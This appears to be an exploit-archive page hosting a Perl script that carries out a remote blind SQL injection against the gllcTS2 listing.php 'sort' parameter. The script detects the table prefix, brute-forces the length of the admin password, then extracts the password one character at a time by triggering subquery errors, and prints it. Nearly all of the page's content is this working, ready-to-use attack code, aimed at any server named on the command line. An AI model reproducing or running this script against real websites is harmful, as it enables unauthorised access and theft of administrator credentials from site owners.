exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

gllcts2-blindsql.txt

gllcts2-blindsql.txt
Posted Jun 13, 2008
Authored by h0yt3r

GLLCTS2 remote blind SQL injection exploit that makes use of listing.php.

tags | exploit, remote, php, sql injection
SHA-256 | d9d81f632ca691e0e786285b0557db814d1e5ac6c5437e96978a8d786f337922

gllcts2-blindsql.txt

Change Mirror Download
#!/usr/bin/perl
######################
#
#gllcTS2 (listing.php $sort) Remote Blind SQL Injection Exploit
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#This one shows another vulnerability in the gllcTS2. (Thera are many with simple injections)
#Same Versions are affected.
#Also shows the conecpt of how to inject an ORDER BY statement via Blind Injection and
#WITHOUT benchmark(), means we produce an error if the IF statement returns TRUE.
#
#Gr33tz go to:
#b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team
#
################
use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;

usage();

$server = $ARGV[0];
$dir = $ARGV[1];


print"\n";
if (!$dir) { die "Read Usage!\n"; }


$filename ="listing.php";

my $vulnCheck = "http://".$server.$dir.$filename;

my $prefix ="";

my @Daten = ("61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","3A","5F","31","32","33","34","35","36","37","38","39","30");

my $Attack= $userAgent->get($vulnCheck);
if ($Attack->is_success)
{
print "[x]Attacking ".$vulnCheck."\n";
}
else
{
print "Couldn't connect to ".$vulnCheck."!";
exit;
}

print "[x]Vulnerable Check:";

my $check = $vulnCheck."?sort='";

my $Attack= $userAgent->get($check);
if($Attack->content =~ m/FROM (.*?)_weblist/i)
{
print " Vulnerable!\n";
$prefix = $1;
}
else
{
print " Not Vulnerable!";
exit;
}

my $hex="";
my $length;

print "[x]Bruteforcing Length\n";

my $lengthCounter = 1;
while(1)
{
#To inject ORDER BY (where we cannot union select) we just have to pass a simple IF statement.
#Instead of Benchmark() we can use a subquery which, in this case, would return "Subquery returns more than 1 row" if the statement actualle is true.
my $url = "".$vulnCheck."?sort=IF(LENGTH((select admin_pass from ".$prefix."_admin))=".$lengthCounter.",(select 1 union select 5),null)&direction=desc&showgroup=all";
my $Attack= $userAgent->get($url);
my $content = $Attack->content;
if($content =~ m/Please contact a the site admin immediately./i)
{
$length=$lengthCounter;
last;
}
else
{
$lengthCounter++;
}
}


print "[x]Injecting Black Magic\n";

for($b=1;$b<=$length;$b++)
{
for(my $u=0;$u<28;$u++)
{
my $url = "".$vulnCheck."?sort=IF(substring((select admin_pass from ".$prefix."_admin),".$b.",1)=0x".$Daten[$u].",(select 1 union select 5),null)&direction=desc&showgroup=all";

my $Attack= $userAgent->get($url);

my $content = $Attack->content;

if($content =~ m/Please contact a the site admin immediately./i)
{
print "[x] Found Char ".$Daten[$u]."\n";
$hex=$hex.$Daten[$u];
last;
}

else
{
#Whatever...
}
}
}

print "[x]Converting \n";
my $a_str = hex_to_ascii($hex);

print "[x]Success! \n";
print " Adminpassword: $a_str\n";

sub hex_to_ascii ($)
{
(my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
return $str;
}

sub usage()
{
print q
{
######################################################
gllcTS2 Remote Blind SQL Injection Exploit
-Written by h0yt3r-
Usage: gllcts2.pl [Server] [Path]
Sample:
perl gllcts2.pl www.site.com /cms/
######################################################
};

}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close